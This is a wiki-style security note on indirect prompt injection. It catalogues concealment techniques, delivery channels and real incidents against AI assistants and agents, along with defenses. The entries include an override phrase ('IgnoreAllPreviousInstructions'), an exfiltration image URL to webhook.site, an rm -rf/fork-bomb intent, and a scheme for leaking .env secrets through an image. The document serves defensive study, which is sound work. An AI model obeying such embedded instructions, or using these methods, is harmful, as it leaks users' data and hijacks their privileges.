# Indirect Prompt Injection > [[Prompt Injection]] where the payload arrives inside content the model processes for a victim (a web page, email, document, ticket, bank memo, image or DNS record), so the attacker never talks to the model directly. Often called IDPI, XPIA or "second-order" prompt injection. ## How it works - Any channel whose text lands in the context window is an injection point. Microsoft lists web pages, emails, shared documents, and image, audio and video modalities. If an attacker can control part of the input to an instruction-tuned model, IDPI is possible. - The victim's privileges are borrowed. The model reads the payload while acting for the user, so tool calls run with the user's identity and data access. This is the confused-deputy shape behind [[LLM Data Exfiltration]] and [[Agentic AI Risks]]. - It is deployment-agnostic. Brave hijacked cloud-hosted Mozilla Tabstack: a "summarize this page" task was redirected to an attacker form, which was then filled with the conversation history. The same team got on-device Cotypist to surface user credentials inline from a poisoned local document. - The payload can lie dormant. It fires only when a later, unrelated request pulls the poisoned record into context. ## Techniques / payloads **Delivery and concealment** (Unit 42, 22 in-the-wild techniques; one page carried 24 labelled injection attempts): | Method | Example | Share of telemetry | |---|---|---| | Visible plaintext | Plain instructions in the body | 37.8% | | HTML attribute cloaking | Prompt in `alt`, `title`, `data-*` | 19.8% | | CSS rendering suppression | `display:none`, `visibility:hidden`, off-screen positioning | 16.9% | | Zero-sizing | `font-size:0px; line-height:0`, opacity 0 | — | | Hidden form fields | Static payload in a CSS-hidden `<textarea>` | — | **Framing:** social engineering dominates (85.2%), then JSON/syntax injection (7.0%) and multilingual repetition (2.1%). Obfuscation against regex filters uses zero-width characters between letters, homoglyphs and fragmentation. **Other channels:** - **HTML comments in GitHub issues.** `<!-- ... -->` is invisible when rendered but present in the raw markdown that AI triage bots read (Microsoft Threat Intelligence). - **Images.** In Ghostcommit, an `AGENTS.md` points to `docs/images/build-spec.png`. Text rendered in the PNG tells the agent to read `.env` byte by byte and emit it as integer constants. CodeRabbit's default config excludes images and Bugbot found nothing. - **Dependencies.** A malicious Go module (`github.com/cursorwiz/echo`) overwrote `AGENTS.md` to make the agent insert `time.Sleep` and doctor PR summaries (NVIDIA). - **Payment memos.** A €0.02 transfer with an injection in its description turned a European bank's assistant into an in-app spear-phishing channel. - **Email to support bots.** A spoofed `From`, or multiple `From`/`Sender` headers (RFC 822 allows several), makes the agent act as the victim. - **Infrastructure metadata.** A PTR record named `IgnoreAllPreviousInstructions` made an AI search summary write a poem. Some headers aim at AI clients (`x-ai-instructions`), but of 217M responses only 30 sites attempted agent orders, and 22 of those were pranks. - **Malware vs. analyst AI.** Gaslight, a macOS stealer, embeds fake system-failure messages so LLM triage agents abort analysis. - **Court filings.** A US pro se plaintiff (sanctioned) and Brazilian law firms (fined) hid white-text instructions aimed at AI document review. ## Notable cases - **Perplexity Comet.** Invisible text in a Reddit post hijacked the in-browser summarizer (Lakera, citing Brave). **CVE-2025-59944** in Cursor: a case-sensitivity bug in a protected path made the agent read and obey an attacker config. - **Unit 42 in-the-wild intents:** AI ad-review evasion (first seen December 2025), SEO poisoning for phishing, "delete your database", `rm -rf --no-preserve-root` plus fork bomb, and forced purchases or donations via `buy.stripe.com`/`paypal.me` links ("send $5,000"). - **Kagi Assistant.** A summarized page made Kimi K2.5 append `![pixel](https://webhook.site/ID?leak=...)`. The unproxied image leaked the victim's IP with zero clicks. The report was closed N/A and silently fixed. - **Microsoft 365 Copilot.** Covered in [[EchoLeak]] and [[LLM Data Exfiltration]]. - **Poisoned knowledge-base file.** One billing doc with a fake `[SYSTEM NOTICE]` turned a support bot into a phishing-link distributor for every billing question. See [[RAG Poisoning]] [[raw/silent-root.medium.com/indirect-prompt-injection-via-rag-poisoning-the-knowledge-base-15913|silent-root]]. ## Defenses - **Spotlighting** (Microsoft) marks untrusted text so the model can tell it apart. Three modes: *delimiting*, *datamarking* (interleave a marker token through the document) and *encoding* (base64 the document and tell the model never to follow instructions inside it). This is probabilistic only. - Detection: Prompt Shields classifiers and TaskTracker (activation-based). Treat both as signals, not boundaries: see [[LLM Jailbreaking]] for classifier evasion. - Deterministic controls: block known exfil sinks such as markdown images. Require human consent for side-effecting actions. Use information-flow control (Microsoft FIDES) so tainted context cannot drive privileged tools. - Wrap retrieved and tool content with its source and an untrusted label after NFKC normalisation and zero-width stripping, then check output (canary, image-host allowlist, cited-source subset). Plain-language instructions survive cleaning, so the output check is what catches the outcome [[raw/karthikupadrasta.medium.com/how-to-prevent-prompt-injection-in-python-llm-apps-6-layers-that-actua-15852|six layers]]. - Scope retrieval. Keep external email or third-party docs in a separate source from internal data. Treat any AI workflow that reads untrusted GitHub content and holds secrets as high risk. - Review non-text assets (images, PDFs) and agent-policy files (`AGENTS.md`, `CLAUDE.md`) in PRs. See [[AI Coding Assistant Risks]]. ## Related - [[AI and LLM Security]] · [[Prompt Injection]] · [[RAG Poisoning]] · [[MCP Tool Poisoning]] · [[LLM Data Exfiltration]] · [[EchoLeak]] · [[SSRF in AI Agents and LLM Tools]] ## Sources - [[raw/unit42.paloaltonetworks.com/fooling-ai-agents-web-based-indirect-prompt-injection-observed-in-the-3943|Unit 42 — Fooling AI Agents: web-based IDPI observed in the wild]] - [[raw/microsoft.com/how-microsoft-defends-against-indirect-prompt-injection-attacks-3952|Microsoft — How Microsoft defends against indirect prompt injection]] - [[raw/brave.com/indirect-prompt-injection-remains-a-fundamental-security-challenge-for-8731|Brave — IPI remains a fundamental challenge (Tabstack, Cotypist)]] - [[raw/lakera.ai/indirect-prompt-injection-the-hidden-threat-3683|Lakera — Indirect Prompt Injection: The Hidden Threat]] - [[raw/bleepingcomputer.com/ghostcommit-hides-prompt-injection-in-images-to-fool-ai-agents-steal-s-10309|Ghostcommit hides prompt injection in images]] - [[raw/developer.nvidia.com/mitigating-indirect-agents-md-injection-attacks-in-agentic-environment-7818|NVIDIA — Mitigating indirect AGENTS.md injection]] - [[raw/microsoft.com/securing-ci-cd-in-an-agentic-world-claude-code-github-action-case-8591|Microsoft — Securing CI/CD in an agentic world (Claude Code GitHub Action)]] - [[raw/blue41.com/a-0-01-bank-transfer-could-compromise-a-banking-ai-agent-9071|Blue41 — A €0.01 bank transfer could compromise a banking AI agent]] - [[raw/intigriti.com/hacking-ai-customer-service-agents-11941|Intigriti — Hacking AI customer service agents (DEF CON 34)]] - [[raw/ellio.tech/prompt-injection-xss-and-siem-exfil-payloads-living-in-reverse-dns-plu-12303|ELLIO — Prompt injection payloads in reverse DNS PTR records]] - [[raw/signalscorps.com/prompt-injection-in-http-headers-what-217m-web-responses-show-12280|Prompt injection in HTTP headers: 217M web responses]] - [[raw/thehackernews.com/new-gaslight-macos-malware-uses-prompt-injection-to-disrupt-ai-assiste-10211|Gaslight macOS malware uses prompt injection against AI analysts]] - [[raw/gizmodo.com/dude-reportedly-hides-prompt-injections-in-legal-filing-just-in-case-j-11394|Prompt injection hidden in a US legal filing]] - [[raw/jetstream.security/brazilian-court-sanctions-lawyers-for-prompt-injection-in-court-filing-12698|Brazilian court sanctions lawyers for prompt injection]] - [[raw/infosecwriteups.com/zero-click-ip-leak-in-a-privacy-search-engine-indirect-prompt-injectio-8886|Zero-click IP leak in Kagi via indirect prompt injection]] - [[raw/silent-root.medium.com/indirect-prompt-injection-via-rag-poisoning-the-knowledge-base-15913|Indirect Prompt Injection via RAG: Poisoning the Knowledge Base]] - [[raw/karthikupadrasta.medium.com/how-to-prevent-prompt-injection-in-python-llm-apps-6-layers-that-actua-15852|How to Prevent Prompt Injection in Python LLM Apps: 6 Layers]]